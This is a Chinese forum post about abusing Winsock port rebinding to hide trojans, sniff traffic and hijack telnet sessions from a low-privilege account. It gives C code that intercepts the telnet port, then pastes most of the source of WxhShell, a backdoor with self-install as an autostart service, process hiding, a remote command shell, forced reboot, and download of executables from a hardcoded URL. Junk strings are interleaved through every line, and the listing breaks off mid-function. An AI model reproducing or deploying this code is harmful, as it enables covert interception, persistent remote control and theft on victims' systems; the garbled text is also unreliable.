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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %qcCv9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wDi/oH/H  
vKnZ==B  
  saddr.sin_family = AF_INET; *JImP9SE  
=xkaF)AW&v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PW@ :fM:q  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V^tD@N  
k-&<_ghT \  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0(d!w*RpG  
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  这意味着什么?意味着可以进行如下的攻击: 1VYH:uGuAU  
$MvKwQ/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D0 k ,8|  
nN$.^!;&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f'ld6jt|%  
*[cCY!+Qy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .4ww5k>  
;e_us!Sn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]4B;M Ym*  
d>#',C#;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fwUvFK1G  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kj|Oj+&  
)j'Qi^;(D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )}$rgYKJ  
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  #include N1Xg-u?ul#  
  #include i9 CQ~  
  #include v9J1Hha#  
  #include     cL .z{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i'CK/l.H  
  int main() enxb pq#  
  { gWjYS#D  
  WORD wVersionRequested; B{0]v-w  
  DWORD ret; FnVW%fh  
  WSADATA wsaData; \a0{9Xx F  
  BOOL val; ir}*E=*  
  SOCKADDR_IN saddr; O6e$vI@  
  SOCKADDR_IN scaddr; % dFz[b  
  int err; a(IE8:yU`  
  SOCKET s; uUS~"\`fk  
  SOCKET sc; ;R&W#Q7>3  
  int caddsize; |63uoRr  
  HANDLE mt; %gn@B2z  
  DWORD tid;   Xqe Qj}2kA  
  wVersionRequested = MAKEWORD( 2, 2 ); cl#XiyK>  
  err = WSAStartup( wVersionRequested, &wsaData ); @Wd (>*"zw  
  if ( err != 0 ) { 5jK|  
  printf("error!WSAStartup failed!\n"); (eb65F@P  
  return -1; z( ^?xv  
  } CUTjRWQ  
  saddr.sin_family = AF_INET; M'|[:I.V  
   8MW-JZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5o{U$  
RJ3uu NK7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8 |= c3Z  
  saddr.sin_port = htons(23); =KO]w9+\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o *U-.&  
  { >&>EjK4?  
  printf("error!socket failed!\n"); T/u61}'U{  
  return -1; m{>"  
  } \+Qd=,!i(  
  val = TRUE; V!*1F1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [< 9%IGH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .mwW`D  
  { w&#[g9G%  
  printf("error!setsockopt failed!\n"); d8 ~%(I9  
  return -1; D:K"J><@  
  } $EIKi'!8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N:'GNMu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YG?4DF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M-;Mw Lx  
Xa-TNnws?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lO9Ixhf~iu  
  { G]xYQ]  
  ret=GetLastError(); kDJqT  
  printf("error!bind failed!\n"); |61ns6i!  
  return -1; vx6lud0k}  
  } nIlx?(=pu  
  listen(s,2); ~f[;(?39xZ  
  while(1) +MYrNR.p  
  { 5s%e9x|kP  
  caddsize = sizeof(scaddr); ]n@T5*=  
  //接受连接请求 Q6 o1^s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1foG*   
  if(sc!=INVALID_SOCKET) :SwA) (1  
  { H #X*OJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /J"fbBXwY  
  if(mt==NULL) !:xE X~  
  { ":sp0(`h  
  printf("Thread Creat Failed!\n"); ~c+=$SL-=  
  break; 7r3CO<fb  
  } TXd6o=  
  } V_^pPBa  
  CloseHandle(mt); rkh%[o 9"/  
  } .`u8(S+  
  closesocket(s); F&CvqPI  
  WSACleanup(); ZJFF4($qN  
  return 0; M4;M.zxJv  
  }   F;/^5T3wI  
  DWORD WINAPI ClientThread(LPVOID lpParam) fGH)Fgo`  
  { zZY1E@~  
  SOCKET ss = (SOCKET)lpParam; s7jNRY V  
  SOCKET sc; 1Xh@x  
  unsigned char buf[4096]; T.QJ#vKO0  
  SOCKADDR_IN saddr; "Ar|i8^G3  
  long num; S^i8VYK,C5  
  DWORD val; K5<2jl3S  
  DWORD ret; J pj[.Sq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B`nI] _  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '9qyf<MlY  
  saddr.sin_family = AF_INET; Vnb@5W2\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e&A3=a~\s  
  saddr.sin_port = htons(23); A#Ga!a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Pec40g:#F  
  { uARkf'  
  printf("error!socket failed!\n"); N*PJ m6-  
  return -1; 3,!IV"_  
  } vN]_/T+  
  val = 100; R:'&>.AUw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _h,X3P   
  { 4y4r;[@U  
  ret = GetLastError(); <%|u1cn~!v  
  return -1; Mc8_D,7  
  } 2cS94h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TZn5s~t  
  { } nIYNeP?D  
  ret = GetLastError(); #;1RStb:zj  
  return -1; DHhty qm  
  } _BgWy#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b9wC:NgQx  
  { ]f`UflMO8  
  printf("error!socket connect failed!\n"); F }F{/  
  closesocket(sc); ",5=LW&,  
  closesocket(ss); 1o_Zw.  
  return -1; !K=$Q Uq  
  } pvWj)4e  
  while(1) t"~X6o|R  
  { ;Hp78!#,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )-iUUak  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5,O:"3>c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KB^GC5L>  
  num = recv(ss,buf,4096,0); {~#01p5  
  if(num>0) )Fqtb;W=  
  send(sc,buf,num,0); x a\~(B.  
  else if(num==0) F7=\*U  
  break; "*c&[ALw  
  num = recv(sc,buf,4096,0); RZ9_*Lq7+  
  if(num>0) u#V;  
  send(ss,buf,num,0); gH"a MEC  
  else if(num==0) zT!.5qd  
  break; V sL*&Fk  
  } +,T}x+D  
  closesocket(ss); 31]Vo;D  
  closesocket(sc); 3 UQBIrQ  
  return 0 ; l Ny<E!0  
  }   LR4W  
n(n7"+B  
I;<__  
========================================================== l4I',79l  
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下边附上一个代码,,WXhSHELL $fPiR  
>*|Eyv_  
========================================================== *Hv d  
Pc+,iK>  
#include "stdafx.h" zQGj,EAM}  
qM>Dt  
#include <stdio.h> G!D~*B9 G  
#include <string.h> ]r#NjP  
#include <windows.h> ^g<Lu/5w  
#include <winsock2.h> >Fe=PRs  
#include <winsvc.h> @te}Asv  
#include <urlmon.h> mEb`ET|  
i!<(R$ Lo  
#pragma comment (lib, "Ws2_32.lib") i4SWFa``  
#pragma comment (lib, "urlmon.lib") M%!j\}2A  
~X;sa,)L1+  
#define MAX_USER   100 // 最大客户端连接数  -l"8L;`  
#define BUF_SOCK   200 // sock buffer xi.QHKBZaH  
#define KEY_BUFF   255 // 输入 buffer 2@&"*1(Xu  
0'zjPE#  
#define REBOOT     0   // 重启 sI#h&V,9  
#define SHUTDOWN   1   // 关机 gaU^l73 ,C  
p@?(m/m$  
#define DEF_PORT   5000 // 监听端口 &Ci_wDJ  
{-|El}.M  
#define REG_LEN     16   // 注册表键长度 kc@ \AZb  
#define SVC_LEN     80   // NT服务名长度 <rU+{&FKNL  
{D]I[7f8Ev  
// 从dll定义API N B8Yn\{B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #m'+1 s L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ov]Rn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SS;'g4h\6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1bCS4fs^>  
eI -FJ/CJ  
// wxhshell配置信息 ^w*vux|F  
struct WSCFG { \J6e/ G  
  int ws_port;         // 监听端口 AUaupNN  
  char ws_passstr[REG_LEN]; // 口令 $BOIa  
  int ws_autoins;       // 安装标记, 1=yes 0=no 25;`yB$  
  char ws_regname[REG_LEN]; // 注册表键名 X(>aW*q  
  char ws_svcname[REG_LEN]; // 服务名 D6P/39}W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z~"8C Kz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7P52r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'f.5hX(Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z2dW)_fU$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ap}`Q(.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _`9WNJiL  
uVw|jj  
}; =mxj2>,&  
"W"r0"4  
// default Wxhshell configuration *MN("<A_  
struct WSCFG wscfg={DEF_PORT, t\ 9Y)d  
    "xuhuanlingzhe", }sfv zw_  
    1, M !rw!,g  
    "Wxhshell", gf,[GbZ  
    "Wxhshell", ZZ].h2= K  
            "WxhShell Service", G;AV~1i:~  
    "Wrsky Windows CmdShell Service", ! j0iLYo(*  
    "Please Input Your Password: ", \=@4F^U7`  
  1, W jBtL52  
  "http://www.wrsky.com/wxhshell.exe", w< |Lx#L}  
  "Wxhshell.exe" *jy"g64j  
    }; j)jt&Gg'  
+AOpB L'  
// 消息定义模块 <)gTi759h)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #XAH`L\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dQAo~] B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S`[r]msw  
char *msg_ws_ext="\n\rExit."; 2AjP2  
char *msg_ws_end="\n\rQuit."; x=44ITe1n[  
char *msg_ws_boot="\n\rReboot..."; p"NuR4   
char *msg_ws_poff="\n\rShutdown..."; ;BEX|w xn  
char *msg_ws_down="\n\rSave to "; CWE^:kr6  
0h"uJco,  
char *msg_ws_err="\n\rErr!"; .1""U ']  
char *msg_ws_ok="\n\rOK!"; i# Fe`Z ~J  
^aL> /'Y#|  
char ExeFile[MAX_PATH]; Lor__ K  
int nUser = 0; /.m}y$@GV  
HANDLE handles[MAX_USER]; `Jl_'P}  
int OsIsNt; MPJ0>Ly  
mp0! S  
SERVICE_STATUS       serviceStatus; HK.Si]:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; No w2ad&  
I]N!cEr;@-  
// 函数声明 '\LU 8VC  
int Install(void); UeSPwY  
int Uninstall(void);  bzX/Zts  
int DownloadFile(char *sURL, SOCKET wsh); elb}] +  
int Boot(int flag); qo}u(p Oj|  
void HideProc(void); 5{M$m&$1  
int GetOsVer(void); 8t& 'Yk  
int Wxhshell(SOCKET wsl); + oNr c.  
void TalkWithClient(void *cs); A:,V)  
int CmdShell(SOCKET sock); o){<PN|z  
int StartFromService(void); nZkMyRk  
int StartWxhshell(LPSTR lpCmdLine); Ea N^<  
-k@Uo(MB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ch0x*[N@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ZRtNL9   
N|s8PIcSp  
// 数据结构和表定义 x@<!#d+  
SERVICE_TABLE_ENTRY DispatchTable[] = l65Qk2<YC  
{ t? _{  
{wscfg.ws_svcname, NTServiceMain}, LQa1p  
{NULL, NULL} )0 i$Bo  
}; S >\\n^SbT  
%lN4"jtx  
// 自我安装 jD_B&MQz  
int Install(void) M cbiO)@I  
{ ;+VHi%5Z  
  char svExeFile[MAX_PATH]; VN<baK%]  
  HKEY key; hKFB=U  
  strcpy(svExeFile,ExeFile); m\J" P'=  
 7e@Bkq0)  
// 如果是win9x系统,修改注册表设为自启动 Zq\ p%AU9  
if(!OsIsNt) { LwEc*79  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]4&B*]j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A,GJ6qp3  
  RegCloseKey(key); z_9q T"vF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l)91v"vJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VV=6v;u`  
  RegCloseKey(key); ]hA]o7 k  
  return 0; LfG$?<}hR  
    } Kl+4A}Uo  
  } d Y]i AJ  
} K|{&SU_m  
else { q|R$A8)L.  
4S,/Z{ J.  
// 如果是NT以上系统,安装为系统服务 D$bJs O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <e'l"3+9(  
if (schSCManager!=0) vTYgWR,h  
{ \E2S/1p  
  SC_HANDLE schService = CreateService m}fY5r<<;/  
  ( F5f1j]c  
  schSCManager, 0'tm.,  
  wscfg.ws_svcname, n(el  
  wscfg.ws_svcdisp, :Nw7!fd  
  SERVICE_ALL_ACCESS, zH?&FtO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \G &q[8F\  
  SERVICE_AUTO_START, 9 kS;_(DB  
  SERVICE_ERROR_NORMAL, 38(|a5  
  svExeFile, :vy./83W  
  NULL, oJ)v6"j  
  NULL, G X>T~i\f8  
  NULL, 3`Q>s;DjIU  
  NULL, u=p-]?  
  NULL kn7Qvk[+  
  ); e!*%U= [Q  
  if (schService!=0) D z5(v1I9A  
  { jj"?#`cW  
  CloseServiceHandle(schService); U-:_4[  
  CloseServiceHandle(schSCManager); Z~Z+Yt;,9a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `_H^k !^  
  strcat(svExeFile,wscfg.ws_svcname); _<G%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |m>n4 -5QL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~6:y@4&F  
  RegCloseKey(key); p` LPO  
  return 0; Ol. rjz9  
    } de?lO ;8  
  } <\S j5  
  CloseServiceHandle(schSCManager); DM@&=c  
} $ *^E  
} 'l3K*lck  
x<e-%HB*-  
return 1; .TWX,#  
} _79 ?,U]  
Y=N; Bj  
// 自我卸载  <E&"]  
int Uninstall(void) ) _O 6_  
{ T@H2[ 7[;  
  HKEY key; LC:bHM, e  
M 4TFWOC1  
if(!OsIsNt) { W&(98}oT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `` mi9E  
  RegDeleteValue(key,wscfg.ws_regname); 1f`=U 0  
  RegCloseKey(key); )Y+?)=~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A4uDuB;;ZQ  
  RegDeleteValue(key,wscfg.ws_regname); ,\ RxKSU  
  RegCloseKey(key); E8.xmTq  
  return 0; P(BV J_n  
  } Z<0+<tt  
} M.R] hI  
} g?caE)  
else { 0Ku%9wh-  
HR83{B21  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ePJtdKN:  
if (schSCManager!=0) !56gJJ-r  
{ R]{AJ"p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2i~qihx5^  
  if (schService!=0) j?n:"@!G/  
  { ,o)U9 <  
  if(DeleteService(schService)!=0) { l6Q75i)eF  
  CloseServiceHandle(schService); #GHLF  
  CloseServiceHandle(schSCManager); ]xIfgSq  
  return 0; [#R<Z+c  
  } %L9A6%gr  
  CloseServiceHandle(schService); (^Kcyag4  
  } D;0xROW8{  
  CloseServiceHandle(schSCManager); :{v:sK  
} rpT{0 >5  
} UMJ>6 Ko8  
KGm"-W  
return 1; W<D(M.61A  
} 7+I2" Hy  
{E~ MqrX  
// 从指定url下载文件 pQ Y.MZSA  
int DownloadFile(char *sURL, SOCKET wsh) }3Y3f).ZW  
{ ?=uw0~O[  
  HRESULT hr; b]h]h1~hHH  
char seps[]= "/"; o[!g,Gmoh  
char *token; R]Q4+  
char *file; 5PQs1B  
char myURL[MAX_PATH]; =Jx,.|Bf  
char myFILE[MAX_PATH]; E*Q><UU  
zoV-@<Eh  
strcpy(myURL,sURL); L. xzI-I@D  
  token=strtok(myURL,seps); SAEr$F^  
  while(token!=NULL) FT* o;&_QS  
  { jbqhNsTNK  
    file=token; GBZx@B[TY  
  token=strtok(NULL,seps); =R^V[zTn_  
  } ~4mgYzOmD`  
2Ax HhD.  
GetCurrentDirectory(MAX_PATH,myFILE); ?eb2T`\0Q  
strcat(myFILE, "\\"); a]465FY  
strcat(myFILE, file); "]nbM}>  
  send(wsh,myFILE,strlen(myFILE),0); D>O{>;y[  
send(wsh,"...",3,0); uv2!][  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I^{PnrB  
  if(hr==S_OK) p5~;8Q7  
return 0; Cse@>27s  
else %XqLyeOS  
return 1; s.rS06x  
I$neE"wW  
} oWpy ^=D_  
y\Z-x  
// 系统电源模块 yoj5XBM  
int Boot(int flag) F~ n}Ep~1  
{ }q(IKH\&  
  HANDLE hToken; iw(\]tMt  
  TOKEN_PRIVILEGES tkp; V\kf6E  
qb ^4G  
  if(OsIsNt) { ]*^mT&$7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5|-(Ic  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G2kr~FG  
    tkp.PrivilegeCount = 1; 4\?I4|{pC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {cv,Tz[Q>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~}mX#,  
if(flag==REBOOT) { sDCa&"6+@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t?v0ylN  
  return 0; =ot`V; Q>  
} HPT9B?^  
else { AO'B p5:Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s&lZxnIjc  
  return 0; P$@5&/]  
} mhM=$AIq  
  } q5[%B K  
  else { d `Q$URn|  
if(flag==REBOOT) { Lvc*L6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0=s+bo1  
  return 0; ZBJYpeGe  
} cJm!3X  
else { eR8qO"%2:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;sa-Bh=j^  
  return 0; 1H @GwQ|<=  
} 5jg^12EP  
} EPr{1Z  
U$pHfNTH  
return 1; awXL}m[_!  
} =5LtEgHU  
-?!Z/#i4  
// win9x进程隐藏模块 /wCeeG,<  
void HideProc(void) ?}B9=R$Pi  
{ a7q-*%+d5  
+iwNM+K/gQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gz!72H  
  if ( hKernel != NULL ) -^;G^Uq6=  
  { )j@k[}R#g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m7e$ Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d<qbUk3;  
    FreeLibrary(hKernel); "aP>}5<h  
  } ^#S  
T_,LK7D  
return; A A<9 XC  
} OR( )D~:n  
}<&g1x'pa  
// 获取操作系统版本 Qkk~{OuC  
int GetOsVer(void) :H\6wJ  
{ _?@>S7-  
  OSVERSIONINFO winfo; &.o}(e:]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~@bCSOIy  
  GetVersionEx(&winfo); 6yTL7@V|B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CQ"IL;y  
  return 1; GwwxSB&y  
  else 4I^6[{_  
  return 0; F)_Rs5V:(  
} ?Yg K]IxD  
4\2p8__  
// 客户端句柄模块 \Ul*Nsw  
int Wxhshell(SOCKET wsl) akBR"y:~:H  
{ rEdr8qw  
  SOCKET wsh; uiE9#G  
  struct sockaddr_in client; \p@,+ -gX  
  DWORD myID; ahS*YeS7  
}PyAmh$@  
  while(nUser<MAX_USER) >}O1lsjW:z  
{ v[r:1T@  
  int nSize=sizeof(client); `Xmf4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m2{z  
  if(wsh==INVALID_SOCKET) return 1; tJ.LPgfZ  
/ vje='[!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  O\]CfzR  
if(handles[nUser]==0) lbT<HWzNH  
  closesocket(wsh); %MbjKw  
else Lvv`_  
  nUser++; w*#k&N[X  
  } WqY:XE+?\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;csAhkf:S  
w69`vK  
  return 0; A~I}[O~(pb  
} %r6~5_A  
1oj7R7  
// 关闭 socket WU#bA|Cf  
void CloseIt(SOCKET wsh) ( rZq0*  
{ w6R=r n  
closesocket(wsh); +#1WOQfAD  
nUser--; $./JA) `  
ExitThread(0); )J~Q x-jG  
} I^M3>}p  
vCbqZdy?  
// 客户端请求句柄 4p>@UB&U  
void TalkWithClient(void *cs) 9Wx q  
{ 5 ;dg#hO  
gA2\c5F<  
  SOCKET wsh=(SOCKET)cs; XV%L6x  
  char pwd[SVC_LEN]; [:g6gAuh,  
  char cmd[KEY_BUFF]; bMkn(_H)\  
char chr[1]; <LZvG IMl  
int i,j; 3 {on$\  
#dW$"u   
  while (nUser < MAX_USER) { f:"es: Fb  
#hR}7K+@  
if(wscfg.ws_passstr) { A>7'W\R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0[PP Vr:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JYm@Llf)$  
  //ZeroMemory(pwd,KEY_BUFF); XuR!9x^5  
      i=0; 7F\U|kx_  
  while(i<SVC_LEN) { s;8J= \9W  
T"9`[Lzva  
  // 设置超时 )dC%g=dtc  
  fd_set FdRead; G0> 'H1Z  
  struct timeval TimeOut; b4ORDU  
  FD_ZERO(&FdRead); r^#.yUz  
  FD_SET(wsh,&FdRead); >4~{ CXZ  
  TimeOut.tv_sec=8; rx_'(  
  TimeOut.tv_usec=0; @WBy:gV"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UTi n0k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kX[I|Z=  
y7d)[d*Mz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D\j1`  
  pwd=chr[0]; dHf_&X2A  
  if(chr[0]==0xd || chr[0]==0xa) { rS(693kb  
  pwd=0; nF A7@hsm  
  break; \e'>$8%T  
  } SAThY$)6  
  i++; f} } Bb8  
    } YaSwn3i/@S  
v[m/>l2[P  
  // 如果是非法用户,关闭 socket ZwO&G\A^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n8zUL1:R  
} mtmBL 2?  
':o.vQdJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #0G9{./C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f_D1zU^  
Cd|V<BB9  
while(1) { v{?9PRf\s  
z?j~ 2K<4  
  ZeroMemory(cmd,KEY_BUFF); I|Z5*iXqCm  
fB  
      // 自动支持客户端 telnet标准   @f*/V e0.  
  j=0; "~d)$]+  
  while(j<KEY_BUFF) { "-ZuH   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v`y{l>r,  
  cmd[j]=chr[0]; Uy_`=JZ  
  if(chr[0]==0xa || chr[0]==0xd) { |P5?0{  
  cmd[j]=0; C/!2q$  
  break; 2R2Z6}  
  } /=m=i%& #  
  j++; db.iMBki  
    } P>4(+s  
a}jaxGy  
  // 下载文件 tJHzhH)  
  if(strstr(cmd,"http://")) { KkAk(9Q/3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l<7 b  
  if(DownloadFile(cmd,wsh)) F P mLost  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3@ay9!Xq  
  else YroKC+4"i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "5Kx]y8  
  } z%*ZmF^K  
  else { + ` Em&  
ub,Sj{Mq"  
    switch(cmd[0]) { wG^{Jf&@$  
  5"XcVH4g  
  // 帮助 IWm|6@y  
  case '?': { aeH 9:GQ6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7|,5;  
    break; !R)v2Mk|  
  } UnW,|n8  
  // 安装 R['qBHQ?  
  case 'i': { +(cs,?`\  
    if(Install()) TmzEZ<} &7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x,>@IEN7  
    else [ Y'Xop6G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,a5I:V^\  
    break; WNd(X}  
    } RMLs(?e  
  // 卸载  g<UjB  
  case 'r': { FE$)[w,m  
    if(Uninstall()) x]y~KbdeB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `n5 )oU2q  
    else !n)2HDYhx,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /7P4[~vw  
    break; eW7;yH  
    } lD !^MqK  
  // 显示 wxhshell 所在路径 ~5cLI;4h  
  case 'p': { r%_)7Wk*  
    char svExeFile[MAX_PATH]; _4.`$n/Z  
    strcpy(svExeFile,"\n\r"); GbStqR~^#  
      strcat(svExeFile,ExeFile); W J^r~*r  
        send(wsh,svExeFile,strlen(svExeFile),0); B[cZEFo\  
    break; 61!R -  
    } G.T}^ xHmL  
  // 重启 0%'&s)#  
  case 'b': { ^(UL$cQ>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'H*S-d6V  
    if(Boot(REBOOT)) 6AZ/whn#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pfi '+I`s  
    else { bX5>qqB]  
    closesocket(wsh); 1{nXmtvr  
    ExitThread(0); Y}nE/bmx&9  
    } 'y;[ fwo7  
    break; iSIj ?.  
    } g%RL9-z  
  // 关机 e-{k;V7b  
  case 'd': { Xv=n+uo  
